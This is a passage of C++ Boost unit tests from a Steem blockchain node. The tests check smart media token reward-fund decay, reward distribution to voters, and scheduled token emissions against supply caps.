STEEM_RECENT_RSHARES_DECAY_TIME_HF19.to_seconds(); const auto& post_rf = db->get< reward_fund_object, by_name >( STEEM_POST_REWARD_FUND_NAME ); BOOST_REQUIRE( post_rf.recent_claims == alice_vshares ); generate_block(); } { alice_vshares -= ( alice_vshares * STEEM_BLOCK_INTERVAL ) / STEEM_RECENT_RSHARES_DECAY_TIME_HF19.to_seconds(); const auto& post_rf = db->get< reward_fund_object, by_name >( STEEM_POST_REWARD_FUND_NAME ); BOOST_REQUIRE( post_rf.recent_claims == alice_vshares + bob_vshares ); const auto& alice_rf = db->get< smt_token_object, by_symbol >( alice_symbol ); BOOST_REQUIRE( alice_rf.recent_claims.to_uint64() == alice_recent_claims ); const auto& bob_rf = db->get< smt_token_object, by_symbol >( bob_symbol ); fc::microseconds decay_time = STEEM_RECENT_RSHARES_DECAY_TIME_HF19; bob_recent_claims -= ( ( db->head_block_time() - last_claims_update ).to_seconds() * bob_recent_claims ) / decay_time.to_seconds(); bob_recent_claims += util::evaluate_reward_curve( vote.rshares[ bob_symbol ] - STEEM_VOTE_DUST_THRESHOLD, bob_rf.author_reward_curve, bob_rf.content_constant ).to_uint64(); BOOST_REQUIRE( bob_rf.recent_claims.to_uint64() == bob_recent_claims ); BOOST_REQUIRE( bob_rf.last_reward_update == db->head_block_time() ); const auto& charlie_rf = db->get< smt_token_object, by_symbol >( charlie_symbol ); BOOST_REQUIRE( charlie_rf.recent_claims.to_uint64() == charlie_recent_claims ); BOOST_REQUIRE( charlie_rf.last_reward_update == last_claims_update ); validate_database(); } } FC_LOG_AND_RETHROW() } BOOST_AUTO_TEST_CASE( smt_rewards ) { try { ACTORS( (alice)(bob)(charlie)(dave) ) fund( "alice", 100000 ); vest( "alice", 100000 ); fund( "bob", 100000 ); vest( "bob", 100000 ); fund( "charlie", 100000 ); vest( "charlie", 100000 ); fund( "dave", 100000 ); vest( "dave", 100000 ); auto alice_symbol = create_smt( "alice", alice_private_key, 3 ); set_price_feed( price( ASSET( "1.000 TBD" ), ASSET( "1.000 TESTS" ) ) ); generate_block(); uint64_t recent_claims = 10000000000ull; db_plugin->debug_update( [=]( database& db ) { auto alice_smt_vests = db.create_vesting( db.get_account( "alice" ), asset( 1000000, alice_symbol ), false ); alice_smt_vests += db.create_vesting( db.get_account( "bob" ), asset( 1000000, alice_symbol ), false ); alice_smt_vests += db.create_vesting( db.get_account( "charlie" ), asset( 1000000, alice_symbol ), false ); alice_smt_vests += db.create_vesting( db.get_account( "dave" ), asset( 1000000, alice_symbol ), false ); auto now = db.head_block_time(); db.modify( db.get< smt_token_object, by_symbol >( alice_symbol ), [&]( smt_token_object& smt ) { smt.phase = smt_phase::launch_success; smt.current_supply = 4000000; smt.total_vesting_shares = alice_smt_vests.amount; smt.total_vesting_fund_smt = 4000000; smt.votes_per_regeneration_period = 50; smt.vote_regeneration_period_seconds = 5*24*60*60; smt.recent_claims = uint128_t( 0, recent_claims ); smt.author_reward_curve = curve_id::convergent_linear; smt.curation_reward_curve = convergent_square_root; smt.content_constant = STEEM_CONTENT_CONSTANT_HF21; smt.percent_curation_rewards = 50 * STEEM_1_PERCENT; smt.last_reward_update = now; }); db.modify( db.get( reward_fund_id_type() ), [&]( reward_fund_object& rfo ) { rfo.recent_claims = uint128_t( 0, recent_claims ); rfo.last_update = now; }); }); generate_block(); comment_operation comment; comment.author = "alice"; comment.permlink = "test"; comment.parent_permlink = "test"; comment.title = "foo"; comment.body = "bar"; allowed_vote_assets ava; ava.votable_assets[ alice_symbol ] = votable_asset_options(); comment_options_operation comment_opts; comment_opts.author = "alice"; comment_opts.permlink = "test"; comment_opts.percent_steem_dollars = 0; comment_opts.extensions.insert( ava ); vote2_operation vote; vote.voter = "alice"; vote.author = comment.author; vote.permlink = comment.permlink; vote.rshares[ STEEM_SYMBOL ] = 100ull * STEEM_VOTE_DUST_THRESHOLD; vote.rshares[ alice_symbol ] = vote.rshares[ STEEM_SYMBOL ]; signed_transaction tx; tx.operations.push_back( comment ); tx.operations.push_back( comment_opts ); tx.operations.push_back( vote ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, alice_private_key ); db->push_transaction( tx, 0 ); comment.author = "bob"; comment_opts.author = "bob"; vote.voter = "bob"; vote.author = comment.author; tx.clear(); tx.operations.push_back( comment ); tx.operations.push_back( comment_opts ); tx.operations.push_back( vote ); sign( tx, bob_private_key ); db->push_transaction( tx, 0 ); generate_blocks( db->head_block_time() + ( STEEM_REVERSE_AUCTION_WINDOW_SECONDS_HF21 / 2 ), true ); tx.clear(); vote.voter = "bob"; vote.rshares[ STEEM_SYMBOL ] = 50ull * STEEM_VOTE_DUST_THRESHOLD; vote.rshares[ alice_symbol ] = vote.rshares[ STEEM_SYMBOL ]; tx.operations.push_back( vote ); sign( tx, bob_private_key ); db->push_transaction( tx, 0 ); generate_blocks( db->head_block_time() + STEEM_REVERSE_AUCTION_WINDOW_SECONDS_HF21, true ); tx.clear(); vote.voter = "charlie"; vote.rshares[ STEEM_SYMBOL ] = 50ull * STEEM_VOTE_DUST_THRESHOLD; vote.rshares[ alice_symbol ] = vote.rshares[ STEEM_SYMBOL ]; tx.operations.push_back( vote ); sign( tx, charlie_private_key ); db->push_transaction( tx, 0 ); generate_blocks( db->get_comment( comment.author, comment.permlink ).cashout_time - ( STEEM_UPVOTE_LOCKOUT_SECONDS / 2 ), true ); tx.clear(); vote.voter = "dave"; vote.author = "alice"; vote.rshares[ STEEM_SYMBOL ] = 100ull * STEEM_VOTE_DUST_THRESHOLD; vote.rshares[ alice_symbol ] = vote.rshares[ STEEM_SYMBOL ]; tx.operations.push_back( vote ); sign( tx, dave_private_key ); db->push_transaction( tx, 0 ); generate_blocks( db->get_comment( comment.author, comment.permlink ).cashout_time - STEEM_BLOCK_INTERVAL, true ); share_type reward_fund = 10000000; db_plugin->debug_update( [=]( database& db ) { auto now = db.head_block_time(); db.modify( db.get< smt_token_object, by_symbol >( alice_symbol ), [=]( smt_token_object& smt ) { smt.recent_claims = uint128_t( 0, recent_claims ); smt.reward_balance = asset( reward_fund, alice_symbol ); smt.current_supply += reward_fund; smt.last_reward_update = now; }); share_type reward_delta = 0; db.modify( db.get( reward_fund_id_type() ), [&]( reward_fund_object& rfo ) { reward_delta = reward_fund - rfo.reward_balance.amount - 60; //60 adjusts for inflation rfo.reward_balance += asset( reward_delta, STEEM_SYMBOL ); rfo.recent_claims = uint128_t( 0, recent_claims ); rfo.last_update = now; }); db.modify( db.get_dynamic_global_properties(), [&]( dynamic_global_property_object& gpo ) { gpo.current_supply += asset( reward_delta, STEEM_SYMBOL ); }); }); generate_block(); const auto& rf = db->get( reward_fund_id_type() ); const auto& alice_smt = db->get< smt_token_object, by_symbol >( alice_symbol ); BOOST_REQUIRE( rf.recent_claims == alice_smt.recent_claims ); BOOST_REQUIRE( rf.reward_balance.amount == alice_smt.reward_balance.amount ); const auto& alice_smt_balance = db->get< account_rewards_balance_object, by_name_liquid_symbol >( boost::make_tuple( "alice", alice_symbol ) ); const auto& alice_reward_balance = db->get_account( "alice" ); BOOST_REQUIRE( alice_reward_balance.reward_vesting_steem.amount == alice_smt_balance.pending_vesting_value.amount ); const auto& bob_smt_balance = db->get< account_rewards_balance_object, by_name_liquid_symbol >( boost::make_tuple( "bob", alice_symbol ) ); const auto& bob_reward_balance = db->get_account( "bob" ); BOOST_REQUIRE( bob_reward_balance.reward_vesting_steem.amount == bob_smt_balance.pending_vesting_value.amount ); const auto& charlie_smt_balance = db->get< account_rewards_balance_object, by_name_liquid_symbol >( boost::make_tuple( "charlie", alice_symbol ) ); const auto& charlie_reward_balance = db->get_account( "charlie" ); BOOST_REQUIRE( charlie_reward_balance.reward_vesting_steem.amount == charlie_smt_balance.pending_vesting_value.amount ); const auto& dave_smt_balance = db->get< account_rewards_balance_object, by_name_liquid_symbol >( boost::make_tuple( "dave", alice_symbol ) ); const auto& dave_reward_balance = db->get_account( "dave" ); BOOST_REQUIRE( dave_reward_balance.reward_vesting_steem.amount == dave_smt_balance.pending_vesting_value.amount ); validate_database(); } FC_LOG_AND_RETHROW() } BOOST_AUTO_TEST_CASE( smt_token_emissions ) { try { BOOST_TEST_MESSAGE( "Testing SMT token emissions" ); ACTORS( (creator)(alice)(bob)(charlie)(dan)(elaine)(fred)(george)(henry) ) vest( STEEM_INIT_MINER_NAME, "creator", ASSET( "100000.000 TESTS" ) ); generate_block(); auto alices_balance = asset( 5000000, STEEM_SYMBOL ); auto bobs_balance = asset( 25000000, STEEM_SYMBOL ); auto charlies_balance = asset( 10000000, STEEM_SYMBOL ); auto dans_balance = asset( 25000000, STEEM_SYMBOL ); auto elaines_balance = asset( 60000000, STEEM_SYMBOL ); auto freds_balance = asset( 0, STEEM_SYMBOL ); auto georges_balance = asset( 0, STEEM_SYMBOL ); auto henrys_balance = asset( 0, STEEM_SYMBOL ); std::map< std ::string, std::tuple< share_type, fc::ecc::private_key > > contributor_contributions { { "alice", { alices_balance.amount, alice_private_key } }, { "bob", { bobs_balance.amount, bob_private_key } }, { "charlie", { charlies_balance.amount, charlie_private_key } }, { "dan", { dans_balance.amount, dan_private_key } }, { "elaine", { elaines_balance.amount, elaine_private_key } }, { "fred", { freds_balance.amount, fred_private_key } }, { "george", { georges_balance.amount, george_private_key } }, { "henry", { henrys_balance.amount, henry_private_key } } }; for ( auto& e : contributor_contributions ) { FUND( e.first, asset( std::get< 0 >( e.second ), STEEM_SYMBOL ) ); } generate_block(); BOOST_TEST_MESSAGE( " --- SMT creation" ); auto symbol = create_smt( "creator", creator_private_key, 3 ); const auto& token = db->get< smt_token_object, by_symbol >( symbol ); signed_transaction tx; BOOST_TEST_MESSAGE( " --- SMT setup emissions" ); smt_setup_emissions_operation emissions_op; emissions_op.control_account = "creator"; emissions_op.emissions_unit.token_unit[ SMT_DESTINATION_REWARDS ] = 2; emissions_op.emissions_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] = 2; emissions_op.emissions_unit.token_unit[ SMT_DESTINATION_VESTING ] = 2; emissions_op.emissions_unit.token_unit[ "george" ] = 1; emissions_op.interval_seconds = SMT_EMISSION_MIN_INTERVAL_SECONDS; emissions_op.interval_count = 24; emissions_op.symbol = symbol; emissions_op.schedule_time = db->head_block_time() + ( STEEM_BLOCK_INTERVAL * 10 ); emissions_op.lep_time = emissions_op.schedule_time + ( STEEM_BLOCK_INTERVAL * STEEM_BLOCKS_PER_DAY * 2 ); emissions_op.rep_time = emissions_op.lep_time + ( STEEM_BLOCK_INTERVAL * STEEM_BLOCKS_PER_DAY * 2 ); emissions_op.lep_abs_amount = 20000000; emissions_op.rep_abs_amount = 40000000; emissions_op.lep_rel_amount_numerator = 1; emissions_op.rep_rel_amount_numerator = 2; emissions_op.rel_amount_denom_bits = 7; emissions_op.floor_emissions = false; tx.operations.push_back( emissions_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, creator_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); smt_setup_emissions_operation emissions_op2; emissions_op2.control_account = "creator"; emissions_op2.emissions_unit.token_unit[ SMT_DESTINATION_REWARDS ] = 1; emissions_op2.emissions_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] = 1; emissions_op2.emissions_unit.token_unit[ SMT_DESTINATION_VESTING ] = 1; emissions_op2.emissions_unit.token_unit[ "george" ] = 1; emissions_op2.interval_seconds = SMT_EMISSION_MIN_INTERVAL_SECONDS; emissions_op2.interval_count = 24; emissions_op2.symbol = symbol; emissions_op2.schedule_time = emissions_op.schedule_time + ( emissions_op.interval_seconds * emissions_op.interval_count ) + SMT_EMISSION_MIN_INTERVAL_SECONDS; emissions_op2.lep_time = emissions_op2.schedule_time + ( STEEM_BLOCK_INTERVAL * STEEM_BLOCKS_PER_DAY * 2 ); emissions_op2.rep_time = emissions_op2.lep_time + ( STEEM_BLOCK_INTERVAL * STEEM_BLOCKS_PER_DAY * 2 ); emissions_op2.lep_abs_amount = 50000000; emissions_op2.rep_abs_amount = 100000000; emissions_op2.lep_rel_amount_numerator = 1; emissions_op2.rep_rel_amount_numerator = 2; emissions_op2.rel_amount_denom_bits = 10; emissions_op2.floor_emissions = false; tx.operations.push_back( emissions_op2 ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, creator_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); smt_setup_emissions_operation emissions_op3; emissions_op3.control_account = "creator"; emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_REWARDS ] = 1; emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] = 1; emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_VESTING ] = 1; emissions_op3.emissions_unit.token_unit[ "george" ] = 1; emissions_op3.interval_seconds = SMT_EMISSION_MIN_INTERVAL_SECONDS; emissions_op3.interval_count = SMT_EMIT_INDEFINITELY; emissions_op3.symbol = symbol; emissions_op3.schedule_time = emissions_op2.schedule_time + ( emissions_op2.interval_seconds * emissions_op2.interval_count ) + SMT_EMISSION_MIN_INTERVAL_SECONDS; emissions_op3.lep_time = emissions_op3.schedule_time; emissions_op3.rep_time = emissions_op3.schedule_time; emissions_op3.lep_abs_amount = 100000000; emissions_op3.rep_abs_amount = 100000000; emissions_op3.lep_rel_amount_numerator = 0; emissions_op3.rep_rel_amount_numerator = 0; emissions_op3.rel_amount_denom_bits = 0; emissions_op3.floor_emissions = false; tx.operations.push_back( emissions_op3 ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, creator_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); BOOST_TEST_MESSAGE( " --- SMT setup" ); smt_setup_operation setup_op; uint64_t contribution_window_blocks = 5; setup_op.control_account = "creator"; setup_op.symbol = symbol; setup_op.contribution_begin_time = db->head_block_time() + STEEM_BLOCK_INTERVAL; setup_op.contribution_end_time = setup_op.contribution_begin_time + ( STEEM_BLOCK_INTERVAL * contribution_window_blocks ); setup_op.steem_units_min = 0; setup_op.max_supply = 22400000000; setup_op.max_unit_ratio = 100; setup_op.min_unit_ratio = 50; setup_op.launch_time = setup_op.contribution_end_time + STEEM_BLOCK_INTERVAL; smt_capped_generation_policy capped_generation_policy; capped_generation_policy.generation_unit.steem_unit[ "fred" ] = 3; capped_generation_policy.generation_unit.steem_unit[ "george" ] = 2; capped_generation_policy.generation_unit.token_unit[ SMT_DESTINATION_FROM ] = 7; capped_generation_policy.generation_unit.token_unit[ "george" ] = 1; capped_generation_policy.generation_unit.token_unit[ "henry" ] = 2; smt_setup_ico_tier_operation ico_tier_op1; ico_tier_op1.control_account = "creator"; ico_tier_op1.symbol = symbol; ico_tier_op1.generation_policy = capped_generation_policy; ico_tier_op1.steem_units_cap = 100000000; smt_setup_ico_tier_operation ico_tier_op2; ico_tier_op2.control_account = "creator"; ico_tier_op2.symbol = symbol; ico_tier_op2.generation_policy = capped_generation_policy; ico_tier_op2.steem_units_cap = 150000000; tx.operations.push_back( ico_tier_op1 ); tx.operations.push_back( ico_tier_op2 ); tx.operations.push_back( setup_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, creator_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); BOOST_REQUIRE( token.phase == smt_phase::setup_completed ); generate_block(); BOOST_REQUIRE( token.phase == smt_phase::ico ); BOOST_TEST_MESSAGE( " --- SMT contributions" ); uint32_t num_contributions = 0; for ( auto& e : contributor_contributions ) { if ( std::get< 0 >( e.second ) == 0 ) continue; smt_contribute_operation contrib_op; contrib_op.symbol = symbol; contrib_op.contribution_id = 0; contrib_op.contributor = e.first; contrib_op.contribution = asset( std::get< 0 >( e.second ), STEEM_SYMBOL ); tx.operations.push_back( contrib_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, std::get< 1 >( e.second ) ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); generate_block(); num_contributions++; } validate_database(); generate_block(); BOOST_REQUIRE( token.phase == smt_phase::launch_success ); steem::plugins::rc::rc_plugin_skip_flags rc_skip; rc_skip.skip_reject_not_enough_rc = 0; rc_skip.skip_deduct_rc = 0; rc_skip.skip_negative_rc_balance = 0; rc_skip.skip_reject_unknown_delta_vests = 0; appbase::app().get_plugin< steem::plugins::rc::rc_plugin >().set_rc_plugin_skip_flags( rc_skip ); steem::plugins::rc::delegate_to_pool_operation del_op; custom_json_operation custom_op; del_op.from_account = "creator"; del_op.to_pool = symbol.to_nai_string(); del_op.amount = asset( db->get_account( "creator" ).vesting_shares.amount / 2, VESTS_SYMBOL ); custom_op.json = fc::json::to_string( steem::plugins::rc::rc_plugin_operation( del_op ) ); custom_op.id = STEEM_RC_PLUGIN_NAME; custom_op.required_auths.insert( "creator" ); tx.operations.push_back( custom_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, creator_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); BOOST_TEST_MESSAGE( " --- SMT token emissions" ); share_type supply = token.current_supply; share_type rewards = token.reward_balance.amount; share_type market_maker = token.market_maker.token_balance.amount; share_type vesting = token.total_vesting_fund_smt; share_type george_share = db->get_balance( db->get_account( "george" ), symbol ).amount; auto emission_time = emissions_op.schedule_time; generate_blocks( emission_time ); generate_block(); auto approximately_equal = []( share_type a, share_type b, uint32_t epsilon = 10 ) { return std::abs( a.value - b.value ) < epsilon; }; for ( uint32_t i = 0; i <= emissions_op.interval_count; i++ ) { validate_database(); uint32_t rel_amount_numerator; share_type abs_amount; if ( emission_time <= emissions_op.lep_time ) { abs_amount = emissions_op.lep_abs_amount; rel_amount_numerator = emissions_op.lep_rel_amount_numerator; } else if ( emission_time >= emissions_op.rep_time ) { abs_amount = emissions_op.rep_abs_amount; rel_amount_numerator = emissions_op.rep_rel_amount_numerator; } else { fc::uint128 lep_abs_val{ emissions_op.lep_abs_amount.value }, rep_abs_val{ emissions_op.rep_abs_amount.value }, lep_rel_num{ emissions_op.lep_rel_amount_numerator }, rep_rel_num{ emissions_op.rep_rel_amount_numerator }; uint32_t lep_dist = emission_time.sec_since_epoch() - emissions_op.lep_time.sec_since_epoch(); uint32_t rep_dist = emissions_op.rep_time.sec_since_epoch() - emission_time.sec_since_epoch(); uint32_t total_dist = emissions_op.rep_time.sec_since_epoch() - emissions_op.lep_time.sec_since_epoch(); abs_amount = ( ( lep_abs_val * lep_dist + rep_abs_val * rep_dist ) / total_dist ).to_int64(); rel_amount_numerator = ( ( lep_rel_num * lep_dist + rep_rel_num * rep_dist ) / total_dist ).to_uint64(); } share_type rel_amount = ( fc::uint128( supply.value ) * rel_amount_numerator >> emissions_op.rel_amount_denom_bits ).to_int64(); share_type new_token_supply; if ( emissions_op.floor_emissions ) new_token_supply = std::min( abs_amount, rel_amount ); else new_token_supply = std::max( abs_amount, rel_amount ); share_type new_rewards = new_token_supply * emissions_op.emissions_unit.token_unit[ SMT_DESTINATION_REWARDS ] / emissions_op.emissions_unit.token_unit_sum(); share_type new_market_maker = new_token_supply * emissions_op.emissions_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] / emissions_op.emissions_unit.token_unit_sum(); share_type new_vesting = new_token_supply * emissions_op.emissions_unit.token_unit[ SMT_DESTINATION_VESTING ] / emissions_op.emissions_unit.token_unit_sum(); share_type new_george = new_token_supply * emissions_op.emissions_unit.token_unit[ "george" ] / emissions_op.emissions_unit.token_unit_sum(); BOOST_REQUIRE( approximately_equal( new_rewards + new_market_maker + new_vesting + new_george, new_token_supply ) ); supply += new_token_supply; BOOST_REQUIRE( approximately_equal( token.current_supply, supply ) ); market_maker += new_market_maker; BOOST_REQUIRE( approximately_equal( token.market_maker.token_balance.amount, market_maker ) ); vesting += new_vesting; BOOST_REQUIRE( approximately_equal( token.total_vesting_fund_smt, vesting ) ); rewards += new_rewards; BOOST_REQUIRE( approximately_equal( token.reward_balance.amount, rewards ) ); george_share += new_george; BOOST_REQUIRE( approximately_equal( db->get_balance( db->get_account( "george" ), symbol ).amount, george_share ) ); // Prevent any sort of drift supply = token.current_supply; market_maker = token.market_maker.token_balance.amount; vesting = token.total_vesting_fund_smt; rewards = token.reward_balance.amount; george_share = db->get_balance( db->get_account( "george" ), symbol ).amount; emission_time += SMT_EMISSION_MIN_INTERVAL_SECONDS; generate_blocks( emission_time ); generate_block(); } for ( uint32_t i = 0; i <= emissions_op2.interval_count; i++ ) { validate_database(); uint32_t rel_amount_numerator; share_type abs_amount; if ( emission_time <= emissions_op2.lep_time ) { abs_amount = emissions_op2.lep_abs_amount; rel_amount_numerator = emissions_op2.lep_rel_amount_numerator; } else if ( emission_time >= emissions_op2.rep_time ) { abs_amount = emissions_op2.rep_abs_amount; rel_amount_numerator = emissions_op2.rep_rel_amount_numerator; } else { fc::uint128 lep_abs_val{ emissions_op2.lep_abs_amount.value }, rep_abs_val{ emissions_op2.rep_abs_amount.value }, lep_rel_num{ emissions_op2.lep_rel_amount_numerator }, rep_rel_num{ emissions_op2.rep_rel_amount_numerator }; uint32_t lep_dist = emission_time.sec_since_epoch() - emissions_op2.lep_time.sec_since_epoch(); uint32_t rep_dist = emissions_op2.rep_time.sec_since_epoch() - emission_time.sec_since_epoch(); uint32_t total_dist = emissions_op2.rep_time.sec_since_epoch() - emissions_op2.lep_time.sec_since_epoch(); abs_amount = ( ( lep_abs_val * lep_dist + rep_abs_val * rep_dist ) / total_dist ).to_int64(); rel_amount_numerator = ( ( lep_rel_num * lep_dist + rep_rel_num * rep_dist ) / total_dist ).to_uint64(); } share_type rel_amount = ( fc::uint128( supply.value ) * rel_amount_numerator >> emissions_op2.rel_amount_denom_bits ).to_int64(); share_type new_token_supply; if ( emissions_op2.floor_emissions ) new_token_supply = std::min( abs_amount, rel_amount ); else new_token_supply = std::max( abs_amount, rel_amount ); share_type new_rewards = new_token_supply * emissions_op2.emissions_unit.token_unit[ SMT_DESTINATION_REWARDS ] / emissions_op2.emissions_unit.token_unit_sum(); share_type new_market_maker = new_token_supply * emissions_op2.emissions_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] / emissions_op2.emissions_unit.token_unit_sum(); share_type new_vesting = new_token_supply * emissions_op2.emissions_unit.token_unit[ SMT_DESTINATION_VESTING ] / emissions_op2.emissions_unit.token_unit_sum(); share_type new_george = new_token_supply * emissions_op2.emissions_unit.token_unit[ "george" ] / emissions_op2.emissions_unit.token_unit_sum(); BOOST_REQUIRE( approximately_equal( new_rewards + new_market_maker + new_vesting + new_george, new_token_supply ) ); supply += new_token_supply; BOOST_REQUIRE( approximately_equal( token.current_supply, supply ) ); market_maker += new_market_maker; BOOST_REQUIRE( approximately_equal( token.market_maker.token_balance.amount, market_maker ) ); vesting += new_vesting; BOOST_REQUIRE( approximately_equal( token.total_vesting_fund_smt, vesting ) ); rewards += new_rewards; BOOST_REQUIRE( approximately_equal( token.reward_balance.amount, rewards ) ); george_share += new_george; BOOST_REQUIRE( approximately_equal( db->get_balance( db->get_account( "george" ), symbol ).amount, george_share ) ); // Prevent any sort of drift supply = token.current_supply; market_maker = token.market_maker.token_balance.amount; vesting = token.total_vesting_fund_smt; rewards = token.reward_balance.amount; george_share = db->get_balance( db->get_account( "george" ), symbol ).amount; emission_time += SMT_EMISSION_MIN_INTERVAL_SECONDS; generate_blocks( emission_time ); generate_block(); } BOOST_TEST_MESSAGE( " --- SMT token emissions catch-up logic" ); share_type new_token_supply = emissions_op3.lep_abs_amount; share_type new_rewards = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_REWARDS ] / emissions_op3.emissions_unit.token_unit_sum(); share_type new_market_maker = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] / emissions_op3.emissions_unit.token_unit_sum(); share_type new_vesting = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_VESTING ] / emissions_op3.emissions_unit.token_unit_sum(); share_type new_george = new_token_supply * emissions_op3.emissions_unit.token_unit[ "george" ] / emissions_op3.emissions_unit.token_unit_sum(); BOOST_REQUIRE( approximately_equal( new_rewards + new_market_maker + new_vesting + new_george, new_token_supply ) ); supply += new_token_supply; BOOST_REQUIRE( approximately_equal( token.current_supply, supply ) ); market_maker += new_market_maker; BOOST_REQUIRE( approximately_equal( token.market_maker.token_balance.amount, market_maker ) ); vesting += new_vesting; BOOST_REQUIRE( approximately_equal( token.total_vesting_fund_smt, vesting ) ); rewards += new_rewards; BOOST_REQUIRE( approximately_equal( token.reward_balance.amount, rewards ) ); george_share += new_george; BOOST_REQUIRE( approximately_equal( db->get_balance( db->get_account( "george" ), symbol ).amount, george_share ) ); // Prevent any sort of drift supply = token.current_supply; market_maker = token.market_maker.token_balance.amount; vesting = token.total_vesting_fund_smt; rewards = token.reward_balance.amount; george_share = db->get_balance( db->get_account( "george" ), symbol ).amount; emission_time += SMT_EMISSION_MIN_INTERVAL_SECONDS * 2; generate_blocks( emission_time ); generate_blocks( 3 ); new_token_supply = ( emissions_op3.lep_abs_amount * 2 ); new_rewards = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_REWARDS ] / emissions_op3.emissions_unit.token_unit_sum(); new_market_maker = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] / emissions_op3.emissions_unit.token_unit_sum(); new_vesting = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_VESTING ] / emissions_op3.emissions_unit.token_unit_sum(); new_george = new_token_supply * emissions_op3.emissions_unit.token_unit[ "george" ] / emissions_op3.emissions_unit.token_unit_sum(); BOOST_REQUIRE( approximately_equal( new_rewards + new_market_maker + new_vesting + new_george, new_token_supply ) ); supply += new_token_supply; BOOST_REQUIRE( approximately_equal( token.current_supply, supply ) ); market_maker += new_market_maker; BOOST_REQUIRE( approximately_equal( token.market_maker.token_balance.amount, market_maker ) ); vesting += new_vesting; BOOST_REQUIRE( approximately_equal( token.total_vesting_fund_smt, vesting ) ); rewards += new_rewards; BOOST_REQUIRE( approximately_equal( token.reward_balance.amount, rewards ) ); george_share += new_george; BOOST_REQUIRE( approximately_equal( db->get_balance( db->get_account( "george" ), symbol ).amount, george_share ) ); // Prevent any sort of drift supply = token.current_supply; market_maker = token.market_maker.token_balance.amount; vesting = token.total_vesting_fund_smt; rewards = token.reward_balance.amount; george_share = db->get_balance( db->get_account( "george" ), symbol ).amount; emission_time += SMT_EMISSION_MIN_INTERVAL_SECONDS * 6; generate_blocks( emission_time ); generate_blocks( 11 ); new_token_supply = emissions_op3.lep_abs_amount * 6; new_rewards = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_REWARDS ] / emissions_op3.emissions_unit.token_unit_sum(); new_market_maker = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] / emissions_op3.emissions_unit.token_unit_sum(); new_vesting = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_VESTING ] / emissions_op3.emissions_unit.token_unit_sum(); new_george = new_token_supply * emissions_op3.emissions_unit.token_unit[ "george" ] / emissions_op3.emissions_unit.token_unit_sum(); BOOST_REQUIRE( approximately_equal( new_rewards + new_market_maker + new_vesting + new_george, new_token_supply ) ); supply += new_token_supply; BOOST_REQUIRE( approximately_equal( token.current_supply, supply ) ); market_maker += new_market_maker; BOOST_REQUIRE( approximately_equal( token.market_maker.token_balance.amount, market_maker ) ); vesting += new_vesting; BOOST_REQUIRE( approximately_equal( token.total_vesting_fund_smt, vesting ) ); rewards += new_rewards; BOOST_REQUIRE( approximately_equal( token.reward_balance.amount, rewards ) ); george_share += new_george; BOOST_REQUIRE( approximately_equal( db->get_balance( db->get_account( "george" ), symbol ).amount, george_share ) ); BOOST_REQUIRE( token.current_supply == 22307937127 ); new_token_supply = token.max_supply - token.current_supply; emission_time += SMT_EMISSION_MIN_INTERVAL_SECONDS * 6; generate_blocks( emission_time ); generate_blocks( 11 ); BOOST_TEST_MESSAGE( " --- SMT token emissions do not emit passed max supply" ); new_rewards = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_REWARDS ] / emissions_op3.emissions_unit.token_unit_sum(); new_market_maker = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] / emissions_op3.emissions_unit.token_unit_sum(); new_vesting = new_token_supply * emissions_op3.emissions_unit.token_unit[ SMT_DESTINATION_VESTING ] / emissions_op3.emissions_unit.token_unit_sum(); new_george = new_token_supply * emissions_op3.emissions_unit.token_unit[ "george" ] / emissions_op3.emissions_unit.token_unit_sum(); BOOST_REQUIRE( approximately_equal( new_rewards + new_market_maker + new_vesting + new_george, new_token_supply ) ); supply += new_token_supply; BOOST_REQUIRE( approximately_equal( token.current_supply, supply ) ); market_maker += new_market_maker; BOOST_REQUIRE( approximately_equal( token.market_maker.token_balance.amount, market_maker ) ); vesting += new_vesting; BOOST_REQUIRE( approximately_equal( token.total_vesting_fund_smt, vesting ) ); rewards += new_rewards; BOOST_REQUIRE( approximately_equal( token.reward_balance.amount, rewards ) ); george_share += new_george; BOOST_REQUIRE( approximately_equal( db->get_balance( db->get_account( "george" ), symbol ).amount, george_share ) ); BOOST_REQUIRE( token.current_supply == 22399999999 ); BOOST_REQUIRE( token.max_supply >= token.current_supply ); validate_database(); share_type georges_burn = 500000; transfer_operation transfer; 